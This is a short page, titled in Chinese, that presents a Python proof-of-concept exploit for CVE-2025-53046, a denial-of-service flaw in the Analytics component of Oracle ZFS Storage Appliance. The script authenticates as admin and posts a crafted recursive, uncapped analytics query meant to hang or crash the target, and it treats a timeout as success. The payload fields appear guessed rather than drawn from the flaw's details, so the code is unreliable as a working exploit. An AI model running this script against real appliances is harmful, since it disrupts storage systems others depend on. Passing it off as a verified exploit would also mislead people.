CVE-2025-53046 Oracle ZFS存储设备分析组件拒绝服务漏洞

# CVE-2025-53046 - Oracle ZFS Storage Appliance Kit Analytics DoS # Vulnerability: Denial of Service via Analytics component # CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H # Affected Version: 8.8 # # Note: This vulnerability requires high privileged authentication. # The PoC demonstrates the attack pattern targeting the Analytics component. import requests from requests.auth import HTTPBasicAuth TARGET_HOST = "https://target-zfs-appliance:215" ANALYTICS_ENDPOINT = "/api/analytics/v1/" USERNAME = "admin" PASSWORD = "privileged_password" def exploit_dos(): """ Send crafted request to Analytics component to trigger DoS condition. The Analytics component fails to handle specific request patterns, causing system hang or repeated crashes. """ session = requests.Session() # Authenticate with high privileged credentials session.auth = HTTPBasicAuth(USERNAME, PASSWORD) session.verify = False headers = { "Content-Type": "application/json", "Accept": "application/json", "X-Requested-With": "XMLHttpRequest" } # Crafted payload targeting Analytics resource management flaw payload = { "query": { "metric": "*", "timeRange": {"start": 0, "end": 9999999999999}, "aggregation": "deep_scan", "recursive": True, "depth": -1 }, "options": { "force_recompute": True, "bypass_cache": True, "resource_limit": 0 } } try: # Trigger the vulnerability through Analytics API response = session.post( f"{TARGET_HOST}{ANALYTICS_ENDPOINT}query", json=payload, headers=headers, timeout=30 ) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") except requests.exceptions.Timeout: print("[+] Target may be hanging - DoS triggered successfully") except requests.exceptions.ConnectionError: print("[+] Target connection refused - service may have crashed") except Exception as e: print(f"[*] Error: {e}") if __name__ == "__main__": exploit_dos()